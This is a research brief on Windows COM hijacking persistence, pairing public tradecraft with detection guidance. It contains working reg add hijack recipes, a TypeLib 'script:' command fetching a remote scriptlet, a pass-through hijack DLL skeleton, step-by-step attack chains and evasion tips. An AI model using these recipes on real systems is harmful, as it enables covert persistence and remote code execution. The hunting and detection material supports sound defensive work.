# RESEARCH BRIEF — COM for PERSISTENCE (MITRE ATT&CK T1546.015) All claims verified against primary sources (MITRE, bohops, enigma0x3, MDSec, SpecterOps, ReliaQuest, Talos, ESET, FireEye/Mandiant, CrowdStrike, SigmaHQ, Elastic, Red Canary Atomic, NCC Group, leoloobeek, nickvourd, 3gstudent, pentestlab). --- ## 1. COM Hijacking Fundamentals ### 1.1 The HKCR merge — why a standard user can hijack anything - `HKEY_CLASSES_ROOT` is **not a real hive** — it is a merged view built at query time from `HKLM\SOFTWARE\Classes` (machine-wide) and `HKCU\SOFTWARE\Classes` (per-user). - **Per-user entries take precedence.** If the same subkey/value exists in both, the HKCU value wins (Microsoft: "Merged View of HKEY_CLASSES_ROOT"). A non-admin user has full write access to HKCU, so any COM class registered in HKLM can be shadowed per-user with zero privileges. - COM resolution path for `CoCreateInstance(CLSID, ...)` (in-proc case): 1) `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or `LocalServer32`, `InprocHandler32`, `TreatAs`) — checked first; 2) `HKCR\CLSID\...` (merged view → effectively HKLM); 3) `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` (legacy shell fallback). - 32-bit processes on 64-bit Windows additionally use the WoW64 reflection path: `HKCU\Software\Classes\Wow6432Node\CLSID\...` (critical for Office hijacks). - Key values under InprocServer32: `(Default)` = DLL path (REG_SZ/REG_EXPAND_SZ), `ThreadingModel` = `Apartment` (STA) | `Free` (MTA) | `Both` | `Neutral`, and shell-only `LoadWithoutCOM` (honored by shell32 `SHCoCreateInstance` — load DLL by path with no full COM checks; abused in eventvwr UAC bypass). ### 1.2 Phantom / orphaned / abandoned COM objects 1. **Orphaned registrations (registered CLSID, missing binary):** CLSID exists but the InprocServer32/LocalServer32 target file does not — leftovers from uninstalled software (bohops' example: VMware Workstation's leftover `vmnetbridge.dll` at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}`). If the directory path is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry**. If the registry path is writable (HKCU shadow), you don't even need the file path. 2. **Undefined-but-referenced classes (dangling references):** programs call `CoCreateInstance` on CLSIDs not registered anywhere (NAME NOT FOUND in ProcMon). Registering that CLSID in HKCU creates a new "phantom" object the program then loads. Advantages: **no legitimate value overwritten, no functionality breaks, nothing to diff** (CrowdStrike ClickOnce research 2025; pentestlab/SpecterOps methodology). ### 1.3 Why it survives reboots and is low-noise - Persistence lives entirely in the **registry** (HKCU hive = `NTUSER.DAT` / `UsrClass.dat`), re-read at every logon; no autostart entry, no service, no scheduled task modification. - The trigger is **normal system activity**: a legitimate Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, outlook.exe, browsers) does the `LoadLibrary` of your DLL. Execution inherits host integrity and reputation; no new suspicious process. - **Autoruns gap:** Sysinternals Autoruns enumerates only specific COM categories; it does **not** diff the full `HKCU\Software\Classes\CLSID` tree against HKLM → classic per-user CLSID shadow invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points to a signed Microsoft binary while the payload path hides in the Classes hive (bohops Part 2). - MITRE T1546.015: tactic = Persistence + Privilege Escalation. ### 1.4 InprocServer32 vs LocalServer32 - `InprocServer32` → DLL loaded into caller via `LoadLibrary`; `ole32/combase` calls exported `DllGetClassObject` (most common persistence). - `LocalServer32` → EXE (or command line!) launched as a new process by DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with `-Embedding`. LocalServer32 values may include **arguments** — CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` + script args in LocalServer32. Detection: properly instantiated COM servers spawn from svchost.exe; any other parent for an `-Embedding` command line is suspicious. --- ## 2. Documented Hijackable CLSIDs & In-The-Wild Cases ### 2.1 `{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class — persistence + UAC crossover - Loaded by `eventvwr.exe` (auto-elevated) and `mmc.exe eventvwr.msc`; HKCU shadow path free. - Hijack recipe: ``` reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f ``` (`0xf090013d` = SFGAO attribute combination required for the shell to accept the object.) - Documented by: hfiref0x/UACME, Metasploit `exploit/windows/local/bypassuac_comhijack`, 3gstudent (lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}`). - Related but distinct: enigma0x3's eventvwr "fileless" UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` (file association, not CLSID). PoC: `Invoke-EventVwrBypass.ps1`. - Note: user-triggered (someone must open Event Viewer); its value is the persistence→privesc chain (payload loads high-IL because eventvwr auto-elevates). ### 2.2 `{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, mmdevapi.dll) - Instantiated by **explorer.exe** at every logon and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP). - **ITW — APT28/Sednit:** Seduploader persisted via `HKCU\Environment\UserInitMprLogonScript` and COM hijack of MMDeviceEnumerator; payload executed "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" (Cisco Talos). MITRE APT28 (G0007) cites it; JHUHUGIT also hijacked MMDeviceEnumerator + registered as Shell Icon Overlay handler (FireEye/Mandiant). - Chinese research blogs 2019 PoC: drop DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl`, HKCU CLSID + ThreadingModel=Apartment, trigger with iexplore.exe. - sbousseaden/EVTX-ATTACK-SAMPLES has `persist_firefox_comhijack_sysmon_11_13_7_1.evtx` (Sysmon telemetry of an MMDeviceEnumerator hijack via Firefox). ### 2.3 `{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", oleacc.dll) - MS Active Accessibility property server; instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported. - Documented by bohops research; **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker. ### 2.4 `{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32) - Loaded by **explorer.exe at every shell start** and throughout the session. The classic most-abused persistence CLSID. - **ITW:** **ComRAT/Turla** (replaces path to shell32.dll in `{42aedc87-...}\InprocServer32` — MITRE S0126); **BBSRAT** (MruPidlList one arch, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` "Microsoft WBEM New Event Subsystem" other — Palo Alto); **PcShare** (HKCU `{42aedc87-...}` — MITRE); SILENTTRINITY references it. - Earliest vendor doc: **G-Data, "COM Object hijacking: the discreet way of persistence," Oct 2014** (MITRE's citation). First-ever public discussion of per-user COM abuse: Jon Larimer, 2011 (per leoloobeek). ### 2.5 Scheduled-task COM handler CLSIDs (taskhostw.exe / Schedule service) Scheduled tasks with `{...}` actions instantiate the CLSID in the task host when fired. Hijack = shadow that CLSID in HKCU. - `{0358B920-0AC7-461F-98F4-58E32CD89148}` — **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), InprocServer32 = `%systemroot%\system32\wininet.dll`, ThreadingModel=Both, trigger = **logon of any user**. Walkthrough: **MDSec, Dominic Chell, "Persistence Part 2 – COM Hijacking" (May 2019)** — HKLM key TrustedInstaller-owned; HKCU shadow with `c:\tools\demo.dll` executes at logon. - `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` — **WindowsUpdate\Automatic App Update** task (ComHandler), documented by **enigma0x3, "Userland Persistence with Scheduled Tasks and COM Handler Hijacking" (May 2016)**. Enumerator: `Get-ScheduledTaskComHandler.ps1`. - `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` — ITW: attacker registered own payload CLSID, added `TreatAs` under this legitimate CLSID loaded by an existing scheduled task at user logon → payload every logon (FireEye/Mandiant UNC2529). - Generic PowerShell hunter: ```powershell $Tasks = Get-ScheduledTask foreach ($Task in $Tasks) { if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") { Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)" } } ``` - `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` — training example (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed. - "TeaTimer" has NO documented COM persistence linkage (negative result — likely conflation with scheduled-task COM handler hijacking or Spybot's registry monitor). ### 2.6 TreatAs redirection (CLSID→CLSID linking) - Semantics: `HKCR\CLSID\{A}\TreatAs` (default = `{B}`) tells COM class `{B}` "can emulate" `{A}`; `CoCreateInstance({A})` resolves `{B}`. APIs: `CoGetTreatAsClass()`, `CoTreatAsClass()`; related: `AutoTreatAs`, `Emulated` subkey. Because TreatAs is a *key*, attackers add it in HKCU without touching `{A}`'s InprocServer32 — **evades detections that only watch InprocServer32 writes**. - Documented example (enigma0x3 + subTee "Windows Operating System Archaeology", via bohops Part 2): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → scrobj.dll ScriptletURL payload. Hexacorn "Beyond good ol' Run key, Part 84". - **ITW — Turla Outlook backdoor (ESET, Aug 2018):** `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}`; `{49CBB1C7-...}` ("Mail Plugin") → InprocServer32 = backdoor DLL, ThreadingModel=Apartment → backdoor loads inside OUTLOOK.EXE at every launch. Automated by 3gstudent `Invoke-OutlookPersistence.ps1` (handles Wow6432Node for 32-bit Office). ### 2.7 TypeLib hijacking (oleaut32 automation marshaling) — REQUIRED - Mechanics: Type libraries resolve from `HKCR\TypeLib\{LIBID}\\0\win32|win64` (default = path to .tlb/.dll/.olb). Any Automation/`IDispatch` client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) causes oleaut32 `LoadTypeLib()` of that path. **Shadowing win32/win64 in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin.** - Killer detail: the value accepts a **moniker string**. Setting it to `script:` runs a Windows Script Component (.sct) via scrobj.dll — including **remote** `script:https://...` scriptlet → fileless payload re-downloaded at every trigger. - **ITW — ReliaQuest (March 2025 incidents, published April 2025; Black Basta / Storm-1811-affiliated operators):** ``` reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f ``` `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` = SHDocVw (Microsoft Web Browser control / IE) library. ReliaQuest observed **Explorer.exe references this object every time it runs** → payload auto-downloaded at every restart. MITRE updated T1546.015 in 2025 to add the TypeLib/"script:"-moniker variation, citing ReliaQuest. - HackTricks discovery recipe: read LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` (JScript `` that re-arms the main chain). - Detection: any `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, `https:` is "almost certainly malicious"; watch scrobj.dll loading into non-scripting processes; hunt `reg.exe` cmdlines containing `TypeLib` + `script`. ### 2.8 ProgID hijacking - ProgIDs (`HKCR\\CLSID` → `{CLSID}`) shadowable in HKCU: create `HKCU\Software\Classes\\CLSID = {evil CLSID}`; any client instantiating by name resolves your class. Canonical demo: Casey Smith's squiblydoo — HKCU `Scripting.Dictionary` → `{00000001-0000-0000-0000-0000FEEDACDC}` → InprocServer32 = `C:\WINDOWS\system32\scrobj.dll` + `ScriptletURL` = remote .sct. Stability caveat: WinRM/slmgr.vbs break with VBScript runtime errors. ### 2.9 ClickOnce "undefined COM object" variant (CrowdStrike, 2025) - During ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a hardcoded CLSID not registered (dfsvc.exe normally registers it later via `CoRegisterClassObject`). Pre-registering that CLSID in HKCU with a LocalServer32 makes the DCOM-launcher svchost start the attacker's binary at next deployment — fileless capable (LocalServer32 can carry cmd.exe/script args), legitimate process tree, overwrites nothing. Limitations: only fires while dfsvc.exe not already running; adds 30–50s deploy delay. (CrowdStrike, "New Abuse of the ClickOnce Technology: Part 2.") ### 2.10 Auto-start host processes & other documented targets - **explorer.exe:** MruPidlList `{42aedc87-...}`, MMDeviceEnumerator `{BCDE0395-...}`, TypeLib `{EAB22AC0-...}`, plus shell extension classes from NCC acCOMplice masterkeys.csv (e.g., `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`). - **Browsers/WebView2 (Chrome, Edge, Teams, OneDrive, M365):** SpecterOps "Revisiting COM Hijacking" (May 2025): `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, ThreadingModel=Both) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijack yields execution inside browser processes with export-forwarding stubs (FaceDancer / Koppeling). - **taskhostw.exe / Schedule service:** any user-context ComHandler task (§2.5). - **Office/Outlook:** Turla TreatAs chain (§2.6); 3gstudent Invoke-OutlookPersistence. - **Other ITW mapped to T1546.015:** Mosquito (Turla), Ferocious (WIRTE), ADVSTORESHELL (Shell Icon Overlay handler), KONNI (modified ComSysApp service), WarzoneRAT (`HKCU\Software\Classes\Folder\shell\open\command` + DelegateExecute), AUTHENTIC ANTICS (NCSC MAR: COM hijack inside Outlook), SILENTTRINITY. - Watchlist CLSIDs (startupdefense): `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`. ### 2.11 Discovery tooling | Tool | What it does | Where | |---|---|---| | **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), COMinject PoC, procmon filters, masterkeys.csv | github.com/nccgroup/Accomplice | | **COM-Hunter** (@nickvourd + @S1ckB0y1337; .NET + BOF v3.0) | Modes: `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | github.com/nickvourd/COM-Hunter | | **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | github.com/enigma0x3/Misc-PowerShell-Stuff | | **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC | github.com/leoloobeek/COMProxy | | **oleviewdotnet** (James Forshaw) | COM enumeration/analysis; "COM in 60 Seconds" talk | github.com/tyranid/oleviewdotnet | | bohops' WMI one-liners | `gwmi Win32_COMSetting` + `cmd /c dir` existence check (finds orphans like mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 | | FaceDancer / Koppeling / SharpDllProxy | Export-forwarding stub generators | github.com/Flangvik/SharpDllProxy etc. | --- ## 3. Trade-craft: The Pass-Through (Proxy) Hijack DLL Concept (leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019): the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, **loads the original server from its HKLM path, and forwards the call**, so the client receives the interface pointers it expects and nothing breaks. ```cpp // hijack.cpp — pass-through COM hijack server (skeleton) #include typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*); typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void); static HMODULE g_hOrig = NULL; static volatile LONG g_lPayloadDone = 0; static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps) HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899"); if (h == NULL) return TRUE; return (GetLastError() == ERROR_ALREADY_EXISTS); } static BOOL IsDesiredHost() { // optional process gating wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH); wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p; return (_wcsicmp(b, L"explorer.exe") == 0); } static DWORD WINAPI PayloadThread(LPVOID) { if (IsDesiredHost() && !PayloadAlreadyRan()) { STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); } InterlockedExchange(&g_lPayloadDone, 1); return 0; } BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) { if (reason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hMod); wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll"; g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0); } else if (reason == DLL_PROCESS_DETACH) { if (g_hOrig) FreeLibrary(g_hOrig); } return TRUE; } STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) { if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE; _DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject"); if (!p) return E_UNEXPECTED; return p(rclsid, riid, ppv); // client gets REAL interface } STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1); _DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL; return p ? p() : S_OK; } ``` Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32-compat). Complementary tradecraft: - **Export forwarding for non-COM exports** (SpecterOps 2025): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates. - **ThreadingModel must match the HKLM original.** Mismatch: COM inserts proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); STA-expecting client may crash; worst case host crashes at load → detection. `Both` is safest when unsure. - **DllMain constraints:** never block, never re-entrant CoCreateInstance, minimal loader-lock work — spawn a thread. Mutex/event gate against repeated instantiation. - **.NET COMVisible assemblies as payloads:** register managed class with `regasm` — InprocServer32 = `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, optionally `CodeBase`; CLR loads your assembly. Pure managed payload, signed host DLL. - **Reg-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of registry — keeps persistence off the CLSID hive or weaponizes a planted manifest next to a side-loadable binary. - **ScriptletURL / scrobj.dll registration:** InprocServer32 = `scrobj.dll` (signed) + `ScriptletURL` value = local/remote .sct → fileless-ish, default AppLocker bypass (squiblydoo, subTee). ScriptletURL keys are rare legitimately — detection gold. --- ## 4. Attack Chains (step-by-step) ### Chain A — Per-user persistence via scheduled-task COM handler (MDSec/enigma0x3) 1. Enumerate: `Get-ScheduledTaskComHandler.ps1` or PowerShell snippet (§2.5) → user-context tasks with ComHandler + LogonTrigger. 2. Pick `{0358B920-0AC7-461F-98F4-58E32CD89148}` (CacheTask, wininet.dll, logon trigger). 3. Confirm HKLM registration + `ThreadingModel=Both`; confirm no HKCU shadow. 4. `New-Item HKCU:\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → `(Default) = C:\Users\\AppData\Roaming\...\stub.dll`; `ThreadingModel = Both`. 5. Drop pass-through stub DLL (forwards to `C:\Windows\System32\wininet.dll`). 6. Next logon: Task Scheduler fires CacheTask → taskhost resolves CLSID → HKCU wins → stub loads inside task host, payload thread runs, proxies everything to wininet.dll. No autostart entries, no broken task. ### Chain B — explorer-triggered audio enumerator (APT28) 1. Stage DLL: `%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\update.dll`. 2. `HKCU\Software\Classes\CLSID\{BCDE0395-...}\InprocServer32` = staged path; `ThreadingModel = Apartment`. 3. Every logon (and every audio-API use): explorer.exe instantiates MMDeviceEnumerator → attacker DLL executes in explorer context. ### Chain C — Fileless TypeLib hijack with remote scriptlet (ReliaQuest/Black Basta affiliate) 1. Identify high-frequency Automation library: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (SHDocVw; Explorer.exe touches constantly), version `1.1`. 2. `reg add "HKCU\Software\Classes\TypeLib\{EAB22AC0-...}\1.1\0\win64" /t REG_SZ /d "script:https:///payload.sct" /f` (or local `script:C:\ProgramData\update.sct`). 3. On next Explorer start / WebBrowser-control use, oleaut32 resolves the TypeLib → `script:` moniker runs SCT via scrobj.dll → payload re-fetched each time. ### Chain D — TreatAs redirect (Turla) 1. Register attacker class: `HKCU\Software\Classes\CLSID\{49CBB1C7-...}\InprocServer32` = backdoor.dll (+ThreadingModel=Apartment, ProgID "Mail Plugin"). 2. Link legit class: `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs` = `{49CBB1C7-...}`. 3. OUTLOOK.EXE instantiates → resolves attacker class. Legit CLSID's InprocServer32 never modified → evades naive detections (but see Sigma TreatAs rules). --- ## 5. Detection & Hunting ### 5.1 Registry telemetry - Sysmon EID 12 (key create/delete), EID 13 (value set), EID 14 (rename). Target paths: - `HKU\_Classes\CLSID\*` and `HKU\\Software\Classes\CLSID\*` (InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID) - `HKU\_Classes\TypeLib\*\0\win32|win64` (TypeLib hijack) - `HKU\\Software\Classes\mscfile\shell\open\command`, `*\Folder\shell\open\command` (DelegateExecute) - High-signal heuristics: - InprocServer32 (Default) pointing outside `%SystemRoot%\System32`/`Program Files` → user-writable paths. - HKCU CLSID shadowing HKLM CLSID with a *different* server path (baseline diff). - Registered server path whose file does not exist (phantom/orphan). - `TreatAs` written by non-svchost/non-Office; any `ScriptletURL` key creation. - TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts. - Process/cmdline indicators: `rundll32.exe -sta {CLSID}` (evasion: `-stagggg` suffixes still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}` (harr0ey), `mmc.exe -Embedding ` (parent not svchost = suspicious), `reg.exe` with `TypeLib` + `script`. ### 5.2 Named rules - SigmaHQ: `registry_set_persistence_com_key_linking.yml` (TreatAs subkey; cites bohops Part 2); `registry_set_treatas_persistence.yml`; `registry_set_persistence_search_order.yml`; `registry_set_persistence_com_hijacking_susp_locations.yml`; `registry_set_persistence_com_hijacking_builtin.yml`; detection.fyi also: "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking". - Elastic prebuilt: `persistence_suspicious_com_hijack_registry.toml` (HKCU vs HKLM shadow diff). - Splunk: "Eventvwr UAC Bypass" (mscfile HKCU write) + COM hijack analytics. - VirusTotal LiveHunt YARA keyed on Sigma behaviour rule for CLSID COM hijacking (VT blog, Mar 2024). - Atomic Red Team T1546.015 tests #1–#4. ### 5.3 Autoruns & blind spots - Autoruns does not comprehensively enumerate HKCU CLSID shadows; hijacks launching via signed invokers hide behind Microsoft-signed entries. Registry-only persistence invisible until full hive diff. Recommend: periodic `reg export` of `HKCU\Software\Classes\CLSID` + `...\TypeLib` + `UsrClass.dat` diffed against gold image; cross-check Sysmon EID 7 loaded modules of explorer/svchost/taskhostw for DLLs outside System32. --- ## 6. Research Methodology — Finding NEW Hijackable CLSIDs 1. **Static orphan/phantom sweep:** bohops method: `$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }; $paths = $inproc | %{$_.InprocServer32}; foreach ($p in $paths){$p; cmd /c dir $p > $null}` — "File Not Found" = orphan (repeat for LocalServer32; normalize args/env vars). acCOMplice `Find-MissingLibraries` automates; `Extract-HijackableKeysFromProcmonCSV` post-processes ProcMon captures. 2. **Dynamic dangling-reference discovery:** ProcMon filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` (+ optionally process-name filter for target apps: msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Run during logon/app launches. Each hit = a CLSID a live process tries to activate that you can register in HKCU. 3. **Task-driven discovery:** `Get-ScheduledTaskComHandler.ps1` / ComHandler snippet → logon/idle-triggered user tasks = scheduled triggers. 4. **Frequency scoring:** ProcMon boot/session traces → count RegOpenKey hits per CLSID per process per hour; or ETW (Microsoft-Windows-COMRuntime / registry ETW); NCC acCOMplice `Hijack-MultipleKeys` = hijack several candidates with a logging DLL and count activations. Score = trigger frequency × host desirability (explorer/browsers/taskhostw > niche) × breakage risk. 5. **Stability validation harness:** implement pass-through DLL; unit-test with a COM client (leoloobeek ships TestCOMClient/TestCOMServer); soak-test real host (repeated launch/close, watch WerFault, UI hangs, proxy-marshal stalls); verify ThreadingModel matches HKLM; gate payload with mutex + host check; verify 32/64-bit hive placement; test DllCanUnloadNow so payload finishes before unload. 6. **Opsec review:** does it break anything user-visible (squiblydoo broke slmgr.vbs/WinRM)? Is payload path plausible? Would the CLSID survive a Windows update (favor third-party/abandoned/undefined classes — CrowdStrike's point)? --- ## 7. Diagrams to Draw 1. HKCR merge & precedence: HKCU on top of HKLM funnel into merged HKCR; red HKCU shadow eclipsing HKLM original; "no admin required — merge at query time". 2. Classic hijack flow: Client (explorer.exe) → CoCreateInstance → combase registry lookup → HKCU InprocServer32 = evil.dll → LoadLibrary → DllGetClassObject → payload thread; greyed original HKLM path. 3. Phantom object: (a) orphan: CLSID → dotted line to missing file → attacker drops DLL at expected path; (b) undefined-but-referenced: NAME NOT FOUND → attacker creates CLSID → next query succeeds. 4. TreatAs redirect: Client → CoCreateInstance({A}) → HKCU TreatAs = {B} → {B} InprocServer32 → attacker DLL; "InprocServer32 of {A} never modified". 5. TypeLib hijack: Client → oleaut32 LoadTypeLib → HKCU TypeLib\{LIBID}\1.1\0\win64 = script:https://... → scrobj.dll → remote .sct fetched & executed; "ReliaQuest 2025 — Black Basta affiliate". 6. Pass-through stability: client ←(real interfaces)← attacker DLL → LoadLibrary(original) → original DllGetClassObject; payload thread to the side. --- ## REFERENCES **Frameworks / canonical** - MITRE ATT&CK T1546.015 Component Object Model Hijacking — https://attack.mitre.org/techniques/T1546/015/ - MITRE APT28 (G0007) — https://attack.mitre.org/groups/G0007/ - MITRE ComRAT (S0126) — https://attack.mitre.org/software/S0126/ - Microsoft: Merged View of HKEY_CLASSES_ROOT — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root - Microsoft: TreatAs key — https://learn.microsoft.com/en-us/windows/win32/com/treatas · Registration-Free COM — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop **Seminal offensive research** - G-Data: COM Object hijacking — the discreet way of persistence (Oct 2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - bohops: Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/ - bohops: Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ - enigma0x3: Userland Persistence with Scheduled Tasks and COM Handler Hijacking — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ · https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1 - enigma0x3: "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - Hexacorn: Beyond good ol' Run key, Part 84 — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/ - MDSec (Dominic Chell): Persistence Part 2 – COM Hijacking — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/ - leoloobeek: Proxying COM For Stable Hijacks + COMProxy — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ · https://github.com/leoloobeek/COMProxy - David Tulis / NCC Group: acCOMplice + DerbyCon 9 — 